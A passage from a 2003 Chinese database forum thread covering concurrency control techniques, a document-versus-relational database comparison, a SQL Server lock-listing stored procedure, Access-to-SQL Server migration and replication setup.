$DECLARE mycurs SCROLL CURSOR for SELECT Id, Mdeposit,Mpayout,Mbalance FROM acount;//定义滚动游标
$OPEN mycurs//打开滚动游标
for(;

{$FETCH mycurs INTO $Id,$Mdeposit,$Mpayout,$Mbalance; //从游标中读取记录值
if sqlcode=SQLNOTFOUND then exit; //如果读完，退出循环
….//显示记录内容给用户看
….//如果用户决定要修改记录，则继续执行
$DECLARE mycurs_update CURSOR FOR SELECT Mdeposit,Mpayout,Mbalance
FROM Acount WHERE Id=$Id; //定义更新游标
$FETCH mycurs_UPDATE INTO $Mdeposit,$Mpayout,$Mbalance; //读取数值
$UPDATE acount SET (Mdeposit,Mpayout,Mbalance)= ( $Mdeposit,$Mpayout,$Mbalance)
WHERE CURRENT of mycurs_update; //更新数值
（三）利用开发工具的支持。
许多数据库开发工具都有一些方便的选项或部件来支持并发控制，而不论DBMS是否支持并发控制。我们看一下Delphi与Powerbuilder的并发控制方法。
Delphi是一个优秀的c/s开发工具，它用来查询数据的数据库控件是TQuery，它可以和TUpdatesql控件有机的结合起来完成数据库表数据的浏览和更新。其中在TQuery控件中有一个属性是Updatemod（修改模式），他有三种选择：（1）upWhereAll：在浏览和修改期间只要有人修改了此记录某个列，那么不管你是否修改过这个列，你的修改在提交时都不能成功。（2）upWhereChanged：只根据键值列和你已经修改的列来决定你的修改是否成功，如果别人所修改的本记录的列与你修改的列不相交，那么你的修改仍然是成功的。（3）UpWhereOnly：只根据键值是否修改来判断你的更新是否成功。
与TQuery控件配套使用的TUpdatesql控件根据所指定的修改属性，自动生成所需的更新语句，非常方便。第2种模式是最常用的修改模式，只要别人对记录所做的修改不与自己的重合，那么就会提交成功，这即保证不会发生数据的丢失、覆盖，并且具有较高的并发度。还是上边的例子，比如说客户浏览记录后修改的是记录中Mpayout、Mbalance两列，那么在修改选项upWhereChanged下，Tupdatesql控件所生成的SQL语句是：
UPDATE acount SET (Mpayout,Mbalance)=($Mpayout,$Mbalance)
WHERE Key=Key_old and Mpayout=Mpayout_old and Mbalance=Mbalance_old;
其中Key_old,Mpayout_old和Mbalance_old是delphi替用户所生成的中间变量，暂存原先数据记录的旧值，用于比较旧值与现在的值是否相等，如果不相等，说明已经有别的用户更改了该记录，那么为了避免丢失修改，该用户的更新操作不能完成，反之则可以完成。那么当出纳员修改帐户时，如果别人已经修改了这个帐户，那么他的这次修改是不成功的，必须重新刷新记录才可能成功修改。对上面的例子进行这种改造，就可以避免银行的损失。
与Delphi媲美的一个另一个工具是著名的Powerbuilder，在其DataWindows的设计中,我们选择菜单Rows|Update…,会出现Specify Update Characteristics的设置窗口,在这个窗口中我们设置Update语句中Where子句的生成,以此来进行并发控制。在这里有三个选项： (1)Key Columns:生成的Where子句中只比较表中的主键列的值与最初查询时是否相同来确定要修改的记录。与Delphi中的UpWhereOnly选项对应。 (2)Key and Updateable Columns:生成的Where子句比较表中主键列和可修改列的值与最初查询时否是相同。与Delphi的upWhereall相对应。 (3)Key and Modified Columns：与Delphi的upWhereChanged选项对应。Where子句比较主键和要修改的列。
（四）调整应用。
有的数据库没有提供并发控制的功能，例如Foxpro等,象Mysql的某些版本也不支持事务。而且有的开发工具（例如一些网页脚本编辑器等）也没有提供实现并发控制的部件，那么要实现并发控制，就只能借助于调整我们的应用程序和数据库结构的办法了。
可以按照封锁的基本思想来调整应用。在需要进行并发控制的数据库表中增加一个锁字段，这个字段可以是一个布尔型变量，为true则为锁定，为false则为空闲。此时表的结构变为：
列名称  列代码  列类型
帐户号  Id（键值列） Char(10)
户主  Uname Char（10）
存入金额  Mdeposit  Currency
支出金额 Mpayout  Currency
存款余额  Mbalance Currency
锁  Lock  Boolean
如果一个应用中，客户查询这个表时，可以修改表的记录，那么为了防止别的客户在该用户编辑某记录期间修改这个记录，那么就需要客户在浏览到该记录的数据时，给该记录加上锁（即将锁字段改为true），修改完毕后释放锁（将锁字段改为false）。别的客户要修改这个表的记录的话就先检测一下该记录有没有被加锁，如果已经加锁，则不能进行修改。如果锁字段空闲，那么首先给该记录加锁，然后取记录给客户浏览、编辑，在此期间别的客户不能修改记录。这就很有效的防止了丢失修改。
上面是一种常用的方法，但是也不是完全没有缺点，它可能会产生这样一种副作用：当一个用户决定修改一个记录时，该记录被锁定，等待用户修改，但此时正好用户离开了，那么这条记录将一直被锁定直到用户提交（可能是几个小时之后了）或者会话超时，那么在这一段时间内别的用户就不可以更改这一条记录，导致并发度很低。有一个绕过这个问题的解决办法就是将浏览到的记录记到old_record（自定义的变量）中，再将old_record的内容拷贝到一个新记录new_record（自定义的变量）中，用户编辑new_record，当提交new_record时比较old_record和原先的记录，如果不一样，则表明已经有用户修改了原先的记录，此时把对new_record做的修改放弃；反之则将其内容提交。
上边的方法还有一个小小的不足：在做新旧记录的比较的时候必须比较整条记录，费时间而且程序写起来比较麻烦。可以考虑在原先的表中增添一个时间戳列（此时可以取消lock列），那么此时表的结构变为：
列名称  列代码  列类型
帐户号  Id（键值列） Char(10)
户主  Uname Char（10）
存入金额  Mdeposit  Currency
支出金额 Mpayout  Currency
存款余额  Mbalance Currency
时间戳  Date  Datetime
当浏览记录时将时间戳值记到old_date（自定义变量）中，再将记录内容记到一个新记录new_record中，用户编辑new_record，当提交new_record时比较old_date和原先的记录中的时间戳，如果不一样，则表明已经有用户修改了原先的记录，此时把对new_record做的修改放弃；反之则将其内容提交。更新语句为：
UPDATE acount SET (Mpayout,Mbalance,Date)=($Mpayout,$Mbalance,$Date)
WHERE Key=Key_old and Date=$Date_old;
五．总结
我们通常说的并发控制是指在DBMS（数据库管理系统）内部进行的并发控制。而并发控制的方法非常丰富,远不止此。可以借助于数据库本身的能力，也可以利用开发工具，还可以通过调整自己的程序来实现。在数据库应用中，进行并发控制的方法、实现途径多种多样。在选择时所依据的基本原则就是：数据一致性一定要合乎应用的需要，在此基础上，尽量提高并发度。

作者: ccwlm741212 时间: 2003-11-23 13:05
文档数据库与关系数据库的比较

北京航空航天大学1-53信箱蒋洪迅（jianghx@990.net）

摘要：随着应用领域的不断拓展和多媒体技术, 人们发现关系数据库的许多限制和不足，因而数据库技术进入了"后关系数据库时代"。文档数据库由此应运而生。本文概要地从数据格式、数据库结构和WEB发布数据三个方面比较了文档数据库与关系数据库的异同，同时区别了文档数据库与过去存储数据的文件系统的不同。
关键词：数据库 Internet 文档数据库 WEB数据库服务器
一. 关系数据库的优势和目前面临的问题
　　从60年代末开始, 数据库技术经历了层次数据库、网状数据库和关系数据库而进入数据库管理系统( DBMS)阶段至今, 数据库技术的研究也不断取得进展。80年代, 关系数据库成为发展的主流, 几乎所有新推出的DBMS产品都是关系型的。关系型数据库在计算机数据管理的发展史上是一个重要的里程碑，这种数据库具有数据结构化、最低冗余度、较高的程序与数据独立性、易于扩充、易于编制应用程序等优点，目前较大的信息系统都是建立在结构化数据库设计之上的。
　　然而，随着网络技术和软件技术的飞速发展，特别是Internet和Intranet技术的发展，使得非结构化数据的应用日趋扩大。关系数据库从1970年发展至今,虽功能日趋完善,但对数据类型的处理只局限于数字、字符等,对多媒体信息的处理只是停留在简单的二进制代码文件的存储。然而，随着用户应用需求的提高、硬件技术的发展和Intranet/Internet提供的多彩的多媒体交流方式,用户对多媒体处理的要求从简单的存储上升为识别、检索和深入加工,正是用户呼唤出"通用"数据库服务器来处理占信息总量70%的声音、图像、时间序列信号和视频等复杂数据类型。据有关数据,1996年,全球数据库市场的销售额已接近40亿美元,预计到2000年,数据库市场销售额将达到80亿美元。巨大的增长潜力来自复杂数据类型的处理需求,使处理复杂数据类型的"超媒体"数据库将成为各公司投资研发的重点。

二. 全新的"文档数据库"概念
从1989年起，Lotus通过其群件产品Notes提出了数据库技术的全新概念-"文档数据库"，文档数据库区别于传统的其它数据库，它是用来管理文档。在传统的数据库中,信息被分割成离散的数据段，而在文档数据库中，文档是处理信息的基本单位。一文档可以很长、很复杂、可以无结构，与字处理文档类似。
　　文档数据库与五、六十年代管理数据的文件系统不同，文档数据库仍属于数据库范畴。首先，文件系统中的文件基本上对应于某个应用程序。当不同的应用程序所需要的数据有部分相同时，也必须建立各自的文件，而不能共享数据，而文档数据库可以共享相同的数据。因此，文件系统比文档数据库数据冗余度更大，更浪费存储空间，且更难于管理维护。其次，文件系统中的文件是为某一特定应用服务的，所以，要想对现有的数据再增加一些新的应用是很困难的，系统不容易扩充。数据和程序缺乏独立性。而文档数据库具有数据的物理独立性和逻辑独立性，数据和程序分离。
文档数据库也不同于关系数据库,关系数据库是高度结构化的,而Notes的文档数据库允许创建许多不同类型的非结构化的或任意格式的字段,与关系数据库的主要不同在于,它不提供对参数完整性和分布事务的支持,但和关系数据库也不是相互排斥的,它们之间可以相互交换数据,从而相互补充、扩展。

三. 关系数据库和文档数据库的异同
下面从三个方面比较两种数据库的异同：
1. 格式文本/多媒体（Rich Text/Multimedia）在信息时代，所有信息大体上可以分为两类：一类信息能够用数据或统一的结构加以表示。例如，成本、费用、人员、工资以及员工业绩等，都可以用数字或文字来描述或表达。这类信息具有相同的层次或网络结构，我们称之为结构化数据；而另一类信息根本无法用数字或者统一的结构表示，例如，图象、声音等，我们称之为非结构化数据。这些非结构化数据既可以是一段包含大量附加信息（如排版信息）的文字信息，也可能是一段声音、图象，甚至是影像。对于结构化数据和非结构化数据的关系如图所示，非结构化数据包括结构化数据，但又不止是结构化数据；结构化数据属于非结构化数据，是非结构化数据的特例。一般来说，在人们的认识之中，关系数据库最主要的特征就是数据的结构化。然而，随着网络技术和软件技术的飞速发展，特别是Internet和Intranet技术的发展，使得非结构化数据的应用日趋扩大。关系数据库是高度结构化的，这种数据结构化使关系数据库具有冗余度最低、程序与数据独立性较高、易于扩充、易于编制应用程序的特点。但是，随着应用领域的不断拓展, 为满足应用对数据处理不断"苛刻"的要求, 人们开始发现关系数据库的许多限制和不足。因为文档数据库的基本元素就是文档本身，而数据库中的文档可以同时包含结构化的和非结构化的信息，所以，文档数据库能够存储和管理类似文档这样的非结构化数据。特别是，Notes的对象库是一个非常理想的商业信息存储器，可用于高效地存储、传播、分配和管理这类信息。这类信息通常具有丰富的数据类型，如表格（可以是从某个关系数据库或电子表软件中得到的）、格式化文本、WWW的页面、图形、OLE对象、或扫描的图象以及传真件、声频或视频信号这样的多媒体信息。

2. 在结构上关系数据库是应用数学方法来处理数据库数据的，其数据模型也是建立在数学概念基础上的，在关系模型中，数据在用户观点下的逻辑结构就是一张二维表。而Lotus Notes是一个文档数据库管理系统，文档数据库的基本元素就是文档。这里的文档和关系数据库中的记录相似。Notes文档的结构是由表单（form）定义的，而表单由一组各式各样的字段域组成。
· 域（Field）、域（Domain）和字段（Field）
　　在关系数据库中，域（Domain）是属性值的集合，如：大于0小于150的正整数，长度小于25的字符串集合等等。而在文档数据库中，域（Field）的概念出现在表单对象中，域是表单上存储数据的单个元素，域决定了一个独立的文档能包含什么数据。虽二者的中文译文相同，但其实际意义和作用相差千里。反而在文档数据库中域的概念与关系数据库中的字段（Field）相类似。
· 条目（Item）和属性（Attribute）
　　在关系数据库中，有属性（Attribute）的概念，即二维表中的每一列称为一个属性，给每一列起一个名称即属性名。而在文档数据库中，就没有"属性"，文档拥有的是条目（Item），条目是指存储于文档中的任意数据部分。每一个条目代表文档中一段数据，在用户界面中，是通过表单中的域来显示文档中的条目的。二者虽命名不同，但笔者认为从"属性"的角度更容易理解文档数据库中条目的意义。
· 视图（View）
　　在关系数据库和文档数据库中，均有视图的概念。在关系数据库中，视图是指从一个或几个基本表（或视图）导出的表。视图和基本表不同，视图是一个虚表，即视图所对应的数据不实际存储在数据库中，数据库中只存储视图的定义（存在数据字典中）。在文档数据库中，用户通过Notes视图浏览文档。视图是很方便的目录，用户可以从中看到关于文档的概要信息和文档的状态，然后存取特定的Notes文档。文档数据库中文档可以在视图中显示起全部或部分内容，通过视图，用户可以看一组文档的关键域，并可按某一准则对显示的信息进行分类和排序。实质上，二者逻辑上非常相似，即视图所对应的数据均不实际存储在数据库中，数据库中只存储视图的定义。

3. WEB数据库近年来网络体系结构经历了一次次重大变迁,客户机/服务器结构越来越流行了,Intranet以惊人的速度在短短一年内迅速蔓延,面临新的格局,如何简易地实现"客户机/服务器"连接与"Web/Intranet"连接成为数据库管理人员关注的焦点。计算机技术和网络技术的发展使以网络为中心的计算日益得到重视，WWW系统和数据库成为网络化信息服务的基础。如果能把文档数据库同WWW服务器连接起来,就可以从浏览器中检索文档。这种一体化的信息网络系统:数据库+WWW服务器,便成为下一代Internet开发的新领域。目前，在Web上一个典型的数据库应用程序应包括三个部分:Web浏览器、HTTP 服务器和Web数据库服务器。对于一般的关系型数据库，实现Web数据库的应用通常有两种方法：一种是Web服务器提供中间件连接Web服务器与数据库服务器；另一种是把应用程序下载到客户端直接访问数据库。最常用的中间件技术有通用网关接口（CGI）和应用程序编程接口（API）两种。CGI程序缺陷在于CGI接口不支持用户与数据库间的持续互操作，再就是CGI的效率低,且需要同时运行多个CGI程序。用户每次连至服务器时,服务器都要创建一个事务或运行CGI程序的一个拷贝。这样对于一个复杂的应用或有多个用户访问时,就会加重服务器的负担。API在很大程度上克服了CGI的缺点，但其兼容性差和开发难度大也让广大开发人员望而却步。客户端访问数据库主要包括Java Script和数据库连接器（IDC）等。用Java Script和IDC开发Web数据库虽简单但同时也存在功能有限、不能完全控制其过程等缺点。所以它们也无法胜任较复杂的Web数据库的开发。难道就没有一个开发相对容易、功能强大且高效的Web数据库的开发方法吗？有，答案是-Lotus Notes。Lotus Notes通过文档数据库实现了多媒体文档管理，支持客户机/服务器工作方式。每个数据可以包含若干不同形式的Notes文档。存放在一个或多个Notes服务器上，可以让许多用户存取的数据库称为共享数据库。通过利用服务器存取和数据库存取控制等安全措施，数据库管理员可以规定谁可以存取数据库和在什么范围内使用数据库，各数据库在网上通过复制功能实现同步。这样，通过文档数据库用户可以在网络上存取、追踪储存和组织信息。
四. 结束语
　　最近几年，我国的数据库市场飞速发展，并将具有更为巨大的增长潜力，表现为如下特点：首先,在近五年里,用户的选型观念发生了明显的改变,有更多的用户把数据库的重要性放在十分重要的地位,其主要原因是用户将把应用软件和应用需求放在首位,应用软件是否满足用户需求是整个项目是否成功的标志,而应用软件开发直接依赖于数据库开发工具。实际上,大量潜在的投资都在应用软件的开发上;另一个原因是硬件随着芯片技术的发展越来越缺乏特性,硬件指标将变成次要的考虑因素。对行业性应用来讲,以前是制定几家硬件产品作为优选,而今可能是首选数据库厂家再考虑硬件厂家了。正是用户需求的这种变化给数据库厂商提供了新的发展机会。Lotus Notes为各数据库系统集成商提供了强大的文档数据库开发平台，Notes结合了企业级电子邮件、分布式文档数据库与快速应用开发等三位一体的强大技术、完全集成了Internet技术，提供用户完整的，以网络为中心的应用技术平台。可以预言，在不久的将来，Lotus Notes的文档数据库将成为继层次数据库、网状数据库和关系数据库之后的又一热点技术。
参考文献：
1. 萨师煊王珊《数据库系统概论》
2. 《刍议数据库技术的最新发展》，微电脑世界，1997年第三期，"信息时代"

作者: magicangel 时间: 2003-11-24 02:03
好。

辛苦了。

作者: ccwlm741212 时间: 2003-11-28 08:33
存储过程，查询存储过程所在的数据库的对象的锁住情况，适用于ms  sql  server7.0  和  ms  sql  server  2000。

CREATE  PROCEDURE  dbo.usp_lock  AS
set  nocount  on
select             p.hostname,
         l.req_spid  as  spid,
            l.rsc_objid,
         left(v.name,4)  As  Type,
         left(u.name,8)  As  Mode,
         left(x.name,6)  As  lockStatus,
         p.program_name,
         p.loginame,
         p.status  as  status,
         p.blocked
into  #locks
from             master.dbo.syslockinfo  l
         join  (select  name,number  from  master.dbo.spt_values  v  where  type  =  'LR')  v  on  l.rsc_type  =  v.number
         join  (select  name,number  from  master.dbo.spt_values  v  where  type  =  'L') u  on  l.req_mode  +  1  =  u.number
         join  (select  name,number  from  master.dbo.spt_values  v  where  type  =  'LS')  x  on  l.req_status  =  x.number
         join  master.dbo.sysprocesses  p  on  l.req_spid=p.spid
where    l.rsc_dbid=db_id()
            and  l.rsc_objid>0

select l.hostname,
         l.spid,
            isnull(o.name,'  ')  as  objname,
         l.Type,
         l.Mode,
         l.lockStatus,
         l.program_name,
         l.loginame,
         l.status,
            l.blocked,
            isnull(p.hostname,'  ')  as  blockhostname,
            isnull(p.program_name,'  ')  as  blockprogram
from #locks  l
      join  sysobjects  o  on  l.rsc_objid=o.id
      left  join  master.dbo.sysprocesses  p  on  l.blocked=p.spid
order  by  o.name,l.hostname

drop  table  #locks
GO

作者: wollaston 时间: 2003-11-28 12:04
标题: 不好意思
直接收藏，谢谢！
不嫌弃的话，到我这里的时候我请你米西米西。

还有我的回复成功率太低。

90%都提示我没有指定thread

作者: ccwlm741212 时间: 2003-11-28 12:10
标题: Re: 不好意思

最初由 wollaston 发布
[B]直接收藏，谢谢！
不嫌弃的话，到我这里的时候我请你米西米西。

还有我的回复成功率太低。

90%都提示我没有指定thread [/B]

米西米西,咱喜欢，那？

作者: wangyuzhen 时间: 2003-11-28 14:48
标题: 锁问题
觉得锁问题在我们这里没有表现，因为我们用的PowerBuilder在提交修改时可以带上where条件，指定被修改字段必须和上次访问时的值一致才可以。
另外觉得那个例子有问题，为什么要提交25,000？而不是：存款余额+5000？

作者: liyunet 时间: 2003-12-1 16:59
本人有个问题请教，我公司数据库是SQL2000的，运行中经常提示锁表，我每次用SELECT * FROM SYSPROCESSES 查询占数据库的进程，然后KILL掉，但是效果不是很好，请问有什么好的方法，能够有效解决问题。

作者: 陈陈 时间: 2003-12-2 10:06
标题: UPUPUP
UPUPUP

作者: ccwlm741212 时间: 2003-12-4 12:16
修改数据库名称：

关掉企业管理器等，只留下查询分析器，保证没有其他用户的连接和有sysadmin角色的权限。先设置数据库为单用户模式：

sp_dboption 'database_name', 'single user','true'

exec sp_renamedb 'old_database_name','new_database_name'

然后恢复为多用户模式：

sp_dboption 'database_name', 'single user','false'

作者: ccwlm741212 时间: 2003-12-6 22:21
将Access数据库移植到Microsoft SQL Server 7.0
feyo.6to23.com 2002-6-7 飞跃认证资源

摘要：本文描述了将Access数据库转换到SQL Server 数据库的过程和工具

简介

随着用户对于企业级高性能数据库的需求的增长，用户时常要从Microsoft Access Jet引擎的文件-服务器环境下转换到
Microsoft SQL Server的客户-服务器环境。Microsoft Office 2000中的Access 2000 Upsizing Wizard可实现将数据表和
查询转移到SQL Server 7.0中。如果您用的是Access的较早的版本，您可以先将它升级为Access 2000，然后再使用其中的
Upsizing Wizard，从而将您的应用移植到SQL Server中。

如果您并不太愿意采用Access 2000 和Upsizing Wizard来实现移植，本文可以作为将Access 2000移植到SQL Server的一
个指南。转移一个Access上的应用首先需要将数据转移到SQL Server，然后将查询转移进数据库，或是转移为SQL文件以备
稍后执行。最后要采取的步骤是移植应用程序。

数据库移植中用到的SQL Server 工具

SQL Server管理器（SQL Server Enterprise Manager）

SQL Server管理器允许对SQL Server以及SQL Server中的对象进行企业级的配置和管理。SQL Server管理器提供一个强有
力的scheduling引擎，高度的容错力和一个嵌入式的复制管理界面。使用SQL Server管理器可以实现以下功能：

管理连接和用户许可

创建脚本程序

管理SQL Server对象的备份

备份数据和事务处理日志

管理表、视图、存储过程、触发器、索引、规则、默认值以及用户定义的数据类型

建立全文本索引、数据库图表和数据库维护计划

输入和输出数据

转换数据

执行各种网络管理任务

在以Microsoft Windows NT为操作系统的计算机中，SQL Server Manager由SQL Server Setup进行安装，并被默认为服务
器组件，而在运行着Windows NT 和Microsoft Windows 95的机器上，它将被默认为客户方组件。您将从SQL Server
Manager的图形用户界面中启动数据转移服务（DTS，Data Transformation Services）。

数据转移服务（Data Transformation Services ，DTS)

数据转移服务允许您在多种异构数据源之间输入和输出数据，这些数据源采用基于数据库的OLE体系结构；或在使用SQL
Server 7.0的多个计算机之间转移数据库和数据库对象；您还可以通过运用数据转移服务，更便捷地在一个在线事务处理
系统（OLTP）中建立数据仓库和数据中心。

DTS Wizard允许您交互地创建DTS包，通过OLE DB和ODBC来输入、输出、验证和转移数据。DTS Wizard还允许您在关系型数
据库之间拷贝图解（schema）和数据。

SQL Server 查询分析器（Query Analyzer）

SQL Server 查询分析器是一种图形化的查询工具，通过它您可以分析一个查询，同时执行多个查询，查看数据和获取索引
建议。SQL Server 查询分析器提供了showplan选项，可用来显示SQL Server查询优化器所选择的数据提取方法。

SQL Server Profiler

SQL Server Profiler可以实时地捕获数据库服务器活动的连续记录。SQL Server Profiler允许您监控SQL Server产生的
事件，过滤基于用户指定标准的事件，或将操作步骤输出到屏幕、文件或数据表。运用SQL Server Profiler，您可以重新
执行所捕获的上一次操作。这种工具可以帮助应用程序开发者识别那些可能会降低应用程序性能的事务处理。在将一个基
于文件体系结构的应用程序移植到客户/服务器结构中时该特性是很有用的，因为它的最后一步包括对面向新的客户/服务
器环境的应用程序进行优化。

转移表和数据

使用DTS Wizard将您的Access数据转移到SQL Server，可采取以下步骤：

在 SQL Server Manager（Enterprise Manager）的工具菜单中，鼠标指向“Data Transformation Services”, 然后点击
“Import Data.”

在“选择数据源”（ Choose a Data Source）的对话窗口中，选择Microsoft Access为数据源，然后输入您的．mdb文件
名（mdb为文件扩展名）或者选择浏览文件。

在“选择数据目标”（Choose a Destination）的对话窗口中，选择“Microsoft OLE DB Provider for SQL Server”，
再选择好数据库服务器，然后点击所需的认证模式。

在“指定表备份或查询”（ Specify Table Copy or Query）的对话窗口中，点击“拷贝表”（Copy tables）。

在“选择数据源”的对话窗口中，点击“选择所有项”（ Select All）。

移植Microsoft Access查询

您可以将Access的查询以下面的格式之一转移至SQL Server中：

事务处理SQL脚本程序（Transact-SQL scripts ）

事务处理SQL语句通常是由数据库程序调用的，但是您也可以使用SQL Server 7.0中包含的SQL Server 查询分析器直接运
行它们。SQL Server 查询分析器可帮助开发者测试事务处理SQL语句，或运行那些执行查询处理、数据操作（插入，修
改，删除）和数据定义（创建表）的事务处理SQL语句。

存储过程（Stored procedures ）

开发者可以将大部分产生自Access查询（查找，插入，修改，删除）的事务处理SQL语句转移至存储过程。用事务处理SQL
语句书写的存储过程可以用来对您的数据存取打包，并使之标准化，而且存储过程实际上是存储在数据库中的。存储过程
可以带参数，也可不带参数，可以由数据库程序调用或者由SQL Server查询分析器手动执行。

视图（Views ）

视图是从一个或多个表中显示特定的行和列的虚拟表。它们允许用户可以不直接执行构成查询基础的复杂连接而建立查
询。视图不支持参数的使用。连接多个数据表的视图不能用INSERT, UPDATE或 DELETE语句来修改。视图由事务处理SQL语
句调用，也可用于SQL Server查询分析器中运行的程序段。SQL Server视图和SQL-92标准不支持视图中的ORDER BY排序子
句。如欲了解事务处理SQL，存储过程和视图的其他信息，请参阅SQL Server 在线参考书。

Access查询类型的SQL Server移植选择与建议

一个SELECT语句可以存储在事务处理SQL文件、存储过程或是视图中。建立存储过程是将数据库应用开发与数据库设计的物
理实施分开的最佳方法。存储过程可在一处创建而由应用程序调用。

如果存储过程所基于的数据库变化了，而存储过程经过仔细的修改以反应这些变化，则对存储过程的调用将不会受到破
坏。

交叉表（CROSSTAB）

交叉表经常用于总结报表。

一个Access的交叉表可以通过SQL程序段、存储过程或视图中的事务处理SQL语句来执行。每当发出一个查询时，数据连接
被重现执行以确保最近的数据得到使用。

根据实际应用情况，比较合适的方法是将交叉表中的数据存储为一个临时表（参考下面的MAKE TABLE），临时表对资源的
需求比较少，但是临时表在建立的同时只提供对数据的一个快照（snapshot）。

创建表（MAKE TABLE）

Access中的“MAKE TABLE”（创建表）可以通过事务处理SQL脚本程序或存储过程中的事务处理SQL语言的建表语句
“CREATE TABLE”来执行。语法如下所示：

SELECT [ ALL | DISTINCT ]

[ {TOP integer | TOP integer PERCENT} [ WITH TIES] ]

<select_list>

[ INTO new_table ]

[ FROM {<table_source>} [,…n] ]

[ WHERE <search_condition> ]

[ GROUP BY [ALL] group_by_expression [,…n]

[ WITH { CUBE | ROLLUP } ]

CREATE TABLE mytable (low int, high int)

UPDATE（修改）

UPDATE语句可以存储在事务_SQL脚本程序中，然而比较好地执行UPDATE语句的方法是创建一个存储过程。

APPEND（添加）

ALLEND语句可以存储在事务_SQL脚本程序中，然而比较好地执行APPEND语句的方法是创建一个存储过程。

移植Microsoft Access的查询到存储过程和视图

每个Access查询都必须用以下的一系列语句替换：

CREATE PROCEDURE <NAME_HERE> AS

< SELECT, UPDATE, DELETE, INSERT, CREATE TABLE statement from Microsoft Access >

GO

CREATE VIEW <NAME_HERE> AS

<Place (SELECT only, with no parameters) Microsoft Access Query>

GO

对每个Access查询应执行：

打开Access，然后在SQL Server中，打开SQL Server查询分析器。

在Access的数据库窗口中点击“Queries”tab键，然后点击“Design”按钮。

在“View”菜单上点击“SQL”按钮。

将整个查询粘贴到SQL Server查询分析器中。

测试语法，保存事务处理SQL语句以备后用，或者在数据库中执行这些语句。您可以选择将事务处理SQL语句保存到一段脚
本程序中。

移植Microsoft Access查询到事务处理SQL语句

大部分的Access查询应该转换成存储过程和视图。然而，有一些应用程序开发者不太常用的语句可以存储为事务处理SQL脚
本，一种以sql为文件扩展名的文本文件。这些文件可以在SQL Server查询分析器中运行。

如果您打算将一些Access查询转换为sql文件的话，可以考虑根据它们使用的方式有区别地将这些事务处理SQL语句分别放
在几个脚本程序中。例如，您可以将必须以同样频率运行的事务处理SQL语句归类到同一个脚本中。另一个脚本中则应包含
所有只在某些条件下运行的事务处理SQL语句。此外，必须以一定顺序执行的事务处理SQL语句应当归类到一个不连续的脚
本中。

将Access语句转移到事务处理SQL 文件

将语句拷贝到SQL Server查询分析器中

使用蓝色的多选项图标分析语句

在适当时候执行该语句

要执行Access中的创建表（MAKE TABLE）的查询任务的开发者在SQL Server中有几种选择。开发者可创建下列对象之一：

一个视图

视图具有动态的虚拟表的效果，可提供最近的信息。这是一个输入/输出强化器，因为每当发出一个查询时它都要求对数据
表重现建立连接。

一个临时表

临时表为已连接的用户会话建立一个快照。您可以建立局部的或全局的临时表。局部临时表只在当前会话中可见，而全局
临时表则在所有会话都是可见的。在局部临时表的名字前加上单个数字的前缀（(#table_name)），而在全局临时表的名字
前加上两位数字的前缀(##table_name)。对临时表的查询执行起来非常快，因为它们取得一个结果集的时候通常只用一个
表，而不是将多个表动态地连接在一起来。

如欲了解临时表的其他信息，请参阅SQL Server在线参考书。

SQL Server 7.0中的数据转换服务（DTS）允许您通过创建包来实现临时表建立的标准化、自动化和进度安排。例如，当您
移植Access 2.0中的Northwind 范例数据库时，用于季度数据报表的交叉表可转变为一个视图或者一个可在规范基础上建
立临时表的数据转换。如欲了解关于DTS的其他信息，请参阅SQL Server在线参考书。

其他设计上的考虑

下面是当您将您的Access应用移植到SQL Server时必须考虑的一些其他问题：

使用参数

带参数的SQL Server存储过程需要一种不同于Access查询的语法格式，例如：

Access 2.0格式：

查询名：Employee Sales By Country, in NWIND.mdb:

PARAMETERS [Beginning Date] DateTime, [Ending Date] DateTime;

SELECT Orders.[Order ID], [Last Name] & ", " & [First Name] AS Salesperson, Employees.Country, Orders.
[Shipped Date], [Order Subtotals].Subtotal AS [Sale Amount]

FROM Employees INNER JOIN (Orders INNER JOIN [Order Subtotals] ON Orders.[Order ID] = [Order Subtotals].
[Order ID]) ON Employees.[Employee ID] = Orders.[Employee ID]

WHERE (((Orders.[Shipped Date]) Between [Beginning Date] And [Ending Date]))

ORDER BY [Last Name] & ", " & [First Name], Employees.Country, Orders.[Shipped Date];

SQL Server 7.0格式：

CREATE PROCEDURE EMP_SALES_BY_COUNTRY

@BeginningDate datetime,

@EndingDate datetime

AS

SELECT Orders.[Order ID], [Last Name] + ", " + [First Name] AS Salesperson, Employees.Country,

Orders.[Shipped Date], [Order Subtotals].Subtotal AS [Sale Amount]

FROM Employees INNER JOIN (Orders INNER J

作者: ccwlm741212 时间: 2003-12-10 09:32
利用数据库复制技术实现数据同步更新
复制的概念
复制是将一组数据从一个数据源拷贝到多个数据源的技术，是将一份数据发布到多个存储站点上的有效方式。使用复制技术，用户可以将一份数据发布到多台服务器上，从而使不同的服务器用户都可以在权限的许可的范围内共享这份数据。复制技术可以确保分布在不同地点的数据自动同步更新，从而保证数据的一致性。
SQL复制的基本元素包括
出版服务器、订阅服务器、分发服务器、出版物、文章
SQL复制的工作原理
SQL SERVER 主要采用出版物、订阅的方式来处理复制。源数据所在的服务器是出版服务器，负责发表数据。出版服务器把要发表的数据的所有改变情况的拷贝复制到分发服务器，分发服务器包含有一个分发数据库，可接收数据的所有改变，并保存这些改变，再把这些改变分发给订阅服务器
SQL SERVER复制技术类型
SQL SERVER提供了三种复制技术，分别是：
1、快照复制（呆会我们就使用这个）
2、事务复制
3、合并复制
只要把上面这些概念弄清楚了那么对复制也就有了一定的理解。接下来我们就一步一步来实现复制的步骤。
第一先来配置出版服务器
(1)选中指定[服务器]节点
(2)从[工具]下拉菜单的[复制]子菜单中选择[发布、订阅服务器和分发]命令
(3)系统弹出一个对话框点[下一步]然后看着提示一直操作到完成。
(4)当完成了出版服务器的设置以后系统会为该服务器的树形结构中添加一个复制监视器。同时也生成一个分发数据库(distribution)
第二创建出版物
(1)选中指定的服务器
(2)从[工具]菜单的[复制]子菜单中选择[创建和管理发布]命令。此时系统会弹出一个对话框
(3)选择要创建出版物的数据库，然后单击[创建发布]
(4)在[创建发布向导]的提示对话框中单击[下一步]系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)
(5)单击[下一步]系统要求指定可以订阅该发布的数据库服务器类型，SQLSERVER允许在不同的数据库如 ORACLE或ACCESS之间进行数据复制。但是在这里我们选择运行"SQL SERVER 2000"的数据库服务器
(6)单击[下一步]系统就弹出一个定义文章的对话框也就是选择要出版的表
(7)然后[下一步]直到操作完成。当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库。
第三设计订阅
(1)选中指定的订阅服务器
